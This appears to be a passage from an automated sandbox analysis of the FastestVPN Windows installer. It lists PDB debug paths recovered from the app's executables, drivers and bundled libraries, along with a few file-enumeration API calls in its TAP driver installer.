    Source: Binary string: \??\C:\Windows\symbols\exe\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net472\Microsoft.AppCenter.Crashes.pdbSHA256 source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2748109295.0000000005A52000.00000002.00000001.01000000.0000002C.sdmp
    Source: Binary string: Hardcodet.NotifyIcon.Wpf.pdbSHA256[ source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmp
    Source: Binary string: h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb )0THi source: nfregdrv.exe, 0000001F.00000000.1931104911.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 0000001F.00000002.1931627863.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 00000023.00000000.1937932139.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 00000023.00000002.1939693795.0000000000408000.00000002.00000001.01000000.0000001C.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\net461\SQLitePCLRaw.batteries_v2.pdbSHA256x source: FastestVPN.exe, 00000018.00000002.2760532292.000000000B3F2000.00000002.00000001.01000000.0000002D.sdmp
    Source: Binary string: \??\C:\Windows\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: em.ServiceProcess.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\symbols\dll\System.Configuration.Install.pdb: source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\projects\projectsJ\nfsdk2_1.6\driver_wfp\Win8\Win8Release\x64\netfilter2.pdb source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.dr
    Source: Binary string: agar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb source: nfregdrv.exe, 0000001F.00000000.1931104911.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 0000001F.00000002.1931627863.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 00000023.00000000.1937932139.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 00000023.00000002.1939693795.0000000000408000.00000002.00000001.01000000.0000001C.sdmp
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.pdb% source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\Windows\System.Configuration.Install.pdbpdball.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.Common\obj\Debug\VPN.Common.pdbH source: mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2049263909.0000000005152000.00000002.00000001.01000000.00000028.sdmp, is-VO662.tmp.2.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.WireGuard\obj\Debug\VPN.WireGuard.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2733382817.00000000042E2000.00000002.00000001.01000000.00000042.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Local\obj\Release\FastestVPN.Data.Local.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743066028.0000000005482000.00000002.00000001.01000000.00000017.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection.Abstractions/Release/net462/Microsoft.Extensions.DependencyInjection.Abstractions.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2741166241.0000000004F22000.00000002.00000001.01000000.0000000F.sdmp, is-FQ58N.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000000.1955119983.0000000000552000.00000002.00000001.01000000.00000026.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr
    Source: Binary string: \??\C:\Windows\symbols\dll\System.ServiceProcess.pdbSH;k source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbA source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: E:\A\_work\89\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netstandard\System.Memory.pdbSHA256HXhZm source: FastestVPN.exe, 00000018.00000002.2761646832.000000000B6F2000.00000002.00000001.01000000.00000030.sdmp
    Source: Binary string: Microsoft.Owin.pdbSHA256 source: FastestVPN.WindowsService.exe, 00000032.00000002.2728641725.00000000040C2000.00000002.00000001.01000000.00000035.sdmp
    Source: Binary string: /home/runner/work/Flurl/Flurl/src/Flurl/obj/Release/net472/Flurl.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: /home/runner/work/Flurl/Flurl/src/Flurl/obj/Release/net472/Flurl.pdbSHA256!VN source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: mscorlib.pdb source: FastestVPN.exe, 00000018.00000002.2743669324.000000000568D000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.RAS\obj\Debug\VPN.RAS.pdb source: mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2733093014.00000000042D2000.00000002.00000001.01000000.00000041.sdmp, is-E39BQ.tmp.2.dr
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: q!Microsoft.AspNet.SignalR.Core.pdb`, source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection.Abstractions/Release/net462/Microsoft.Extensions.DependencyInjection.Abstractions.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2741166241.0000000004F22000.00000002.00000001.01000000.0000000F.sdmp, is-FQ58N.tmp.2.dr
    Source: Binary string: symbols\dll\mscorlib.pdbLb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2747533221.00000000059C2000.00000002.00000001.01000000.0000001A.sdmp
    Source: Binary string: H:\Projects\NetFilter SDK\iphelperclose\Release\iphelperclose.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net472\Microsoft.AppCenter.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2748399272.0000000005C62000.00000002.00000001.01000000.0000002A.sdmp, is-QIAH3.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.ViewModel\obj\Release\FastestVPN.ViewModel.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmp
    Source: Binary string: mscorlib.pdb246122658-3693405117-2476756634-1003_Classes\WOW6432Node\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\Elevation.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64ProgramData=C:\ProgramDataPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\Windows source: FastestVPN.exe, 00000018.00000002.2743669324.00000000056DC000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Host.HttpListener.pdbSHA256-( source: FastestVPN.WindowsService.exe, 00000032.00000002.2729054082.00000000040F2000.00000002.00000001.01000000.00000037.sdmp, is-EDC5Q.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Security.pdbSHA256U source: FastestVPN.WindowsService.exe, 00000032.00000002.2730435506.00000000041C2000.00000002.00000001.01000000.0000003B.sdmp
    Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Remote\obj\Release\FastestVPN.Data.Remote.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743150187.0000000005492000.00000002.00000001.01000000.00000018.sdmp, is-G4HV7.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.BLL\obj\Release\FastestVPN.BLL.pdbVepe be_CorDllMainmscoree.dll source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2742939805.0000000005472000.00000002.00000001.01000000.00000016.sdmp
    Source: Binary string: HPpnTC:\Windows\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: /_/src/Flurl.Http/obj/Release/net472/Flurl.Http.pdbSHA256 source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: Windows\dll\mscorlib.pdbCp source: FastestVPN.exe, 00000018.00000002.2754636491.000000000AC08000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: d:\Bjornar\SVN\istool\isxdl\trunk\source\Release\isxdl.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.OpenVpn\obj\Debug\VPN.OpenVpn.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2731998895.0000000004292000.00000002.00000001.01000000.00000040.sdmp
    Source: Binary string: BouncyCastle.Crypto.pdbSHA256 source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/Release/net462/Microsoft.Bcl.AsyncInterfaces.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2741953214.00000000053B2000.00000002.00000001.01000000.00000011.sdmp
    Source: Binary string: q^/_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: guration.Install.pdbEz: source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Diagnostics.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2731000369.0000000004242000.00000002.00000001.01000000.0000003A.sdmp
    Source: Binary string: System.ServiceProcess.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection/Release/net462/Microsoft.Extensions.DependencyInjection.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2742178071.00000000053D2000.00000002.00000001.01000000.00000010.sdmp
    Source: Binary string: System.Configuration.Install.pdbxF source: FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.WireGuard\obj\Debug\VPN.WireGuard.pdb2;L; >;_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2733382817.00000000042E2000.00000002.00000001.01000000.00000042.sdmp
    Source: Binary string: E:\nt\dnsrv\sdktools\reskit\content\subinacl\source\obj\i386\subinacl.pdbPa source: subinacl.exe, 0000002E.00000002.2078433919.0000000001001000.00000020.00000001.01000000.00000032.sdmp, subinacl.exe, 0000002E.00000000.2064908771.0000000001001000.00000020.00000001.01000000.00000032.sdmp, is-L468K.tmp.2.dr
    Source: Binary string: C:\Windows\Microsoft.NET\Framework\v4.0.30319\spNet.SignalR.Core.pdb561934e089\System.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\projects\projectsJ\nfsdk2_1.6\driver_wfp\Win8\Win8Release\x64\netfilter2.pdb source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net472\Microsoft.AppCenter.Analytics.pdbSHA256 source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2748000821.0000000005A42000.00000002.00000001.01000000.0000002B.sdmp
    Source: Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742058301.00000000053C2000.00000002.00000001.01000000.00000012.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Diagnostics\obj\Release\FastestVPN.Diagnostics.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742444497.00000000053F2000.00000002.00000001.01000000.00000015.sdmp
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.6\bin\release\win32\nfapi.pdb source: nfregdrv.exe, 0000001F.00000002.1933399084.0000000010019000.00000002.00000001.01000000.0000001D.sdmp, nfregdrv.exe, 00000023.00000002.1941136972.0000000010019000.00000002.00000001.01000000.0000001D.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/Release/net462/Microsoft.Bcl.AsyncInterfaces.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2741953214.00000000053B2000.00000002.00000001.01000000.00000011.sdmp
    Source: Binary string: c:\Users\lodejard\Projects\owin-hosting\src\main\Owin.Startup\obj\Release\Owin.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2727562303.0000000003D92000.00000002.00000001.01000000.00000036.sdmp
    Source: Binary string: Microsoft.Owin.Hosting.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2727873554.0000000004072000.00000002.00000001.01000000.00000034.sdmp, is-SIFEE.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.DependencyInjection\obj\Release\FastestVPN.DI.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2740196159.0000000004AB2000.00000002.00000001.01000000.0000000E.sdmp, is-10HRM.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net472\Microsoft.AppCenter.Crashes.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2748109295.0000000005A52000.00000002.00000001.01000000.0000002C.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection/Release/net462/Microsoft.Extensions.DependencyInjection.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742178071.00000000053D2000.00000002.00000001.01000000.00000010.sdmp
    Source: Binary string: \??\C:\Windows\exe\FastestVPN.WindowsService.pdb/" source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\Users\Junaid AK\Desktop\New folder (2)\SingleInstanceApplication\SingleInstanceApplication\obj\Release\SingleInstanceApplication.pdb@:^: P:_CorDllMainmscoree.dll source: FastestVPN.exe, 00000018.00000002.2740327424.0000000004AC2000.00000002.00000001.01000000.0000000C.sdmp, is-KH3QE.tmp.2.dr
    Source: Binary string: \??\C:\Windows\dll\System.ServiceProcess.pdb2 source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: E:\A\_work\89\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netstandard\System.Memory.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2761646832.000000000B6F2000.00000002.00000001.01000000.00000030.sdmp
    Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: FastestVPN.WindowsService.exe, 00000032.00000002.2733933202.0000000004332000.00000002.00000001.01000000.0000003C.sdmp, is-2MRML.tmp.2.dr
    Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2747533221.00000000059C2000.00000002.00000001.01000000.0000001A.sdmp
    Source: Binary string: ls\dll\System.ServiceProcess.pdb\HU source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Common\obj\Release\FastestVPN.Common.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2727255873.0000000003D72000.00000002.00000001.01000000.00000033.sdmp, is-R1MP1.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.BLL\obj\Release\FastestVPN.BLL.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742939805.0000000005472000.00000002.00000001.01000000.00000016.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\net461\SQLitePCLRaw.batteries_v2.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2760532292.000000000B3F2000.00000002.00000001.01000000.0000002D.sdmp
    Source: Binary string: Microsoft.Owin.Security.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2730435506.00000000041C2000.00000002.00000001.01000000.0000003B.sdmp
    Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2733933202.0000000004332000.00000002.00000001.01000000.0000003C.sdmp, is-2MRML.tmp.2.dr
    Source: Binary string: ?|nC:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.AdvancedNetwork\obj\Debug\VPN.AdvancedNetwork.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2731558279.0000000004272000.00000002.00000001.01000000.0000003E.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN\obj\Release\FastestVPN.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000002AD000.00000002.00000001.01000000.00000009.sdmp
    Source: Binary string: ?|nC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.pdbit source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: System.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: tem.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: devcon.pdb source: is-QC9L9.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Host.HttpListener.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2729054082.00000000040F2000.00000002.00000001.01000000.00000037.sdmp, is-EDC5Q.tmp.2.dr
    Source: Binary string: %%.pdb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net472\Microsoft.AppCenter.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2748399272.0000000005C62000.00000002.00000001.01000000.0000002A.sdmp, is-QIAH3.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Remote\obj\Release\FastestVPN.Data.Remote.pdbb^|^ n^_CorDllMainmscoree.dll source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2743150187.0000000005492000.00000002.00000001.01000000.00000018.sdmp, is-G4HV7.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.DependencyInjection\obj\Release\FastestVPN.DI.pdbY6s6 e6_CorDllMainmscoree.dll source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2740196159.0000000004AB2000.00000002.00000001.01000000.0000000E.sdmp, is-10HRM.tmp.2.dr
    Source: Binary string: \??\C:\Windows\System.Configuration.Install.pdb] source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 0000000D.00000003.1839806446.00000232ECF52000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 0000000D.00000003.1839449297.00000232ECF51000.00000004.00000020.00020000.00000000.sdmp, is-A65FP.tmp.2.dr
    Source: Binary string: C:\Windows\FastestVPN.WindowsService.pdbpdbice.pdbdul source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: /_/src/Flurl.Http/obj/Release/net472/Flurl.Http.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256Ci\ source: FastestVPN.exe, 00000018.00000002.2762886148.000000000B9F2000.00000002.00000001.01000000.0000002E.sdmp, FastestVPN.exe, 00000018.00000002.2743669324.000000000568D000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2728641725.00000000040C2000.00000002.00000001.01000000.00000035.sdmp
    Source: Binary string: BouncyCastle.Crypto.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr
    Source: Binary string: Hardcodet.NotifyIcon.Wpf.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmp
    Source: Binary string: symbols\exe\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: mscorlib.pdbsZ source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\dll\System.Configuration.Install.pdbg" source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: @|n.pdb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70ECAC FindFirstFileExW,FindNextFileW,FindClose,10_2_00007FF76A70ECAC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E0B0 _invalid_parameter_noinfo,_invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,10_2_00007FF76A70E0B0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E810 FindFirstFileExW,10_2_00007FF76A70E810
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E0B0 _invalid_parameter_noinfo,_invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,10_2_00007FF76A70E0B0
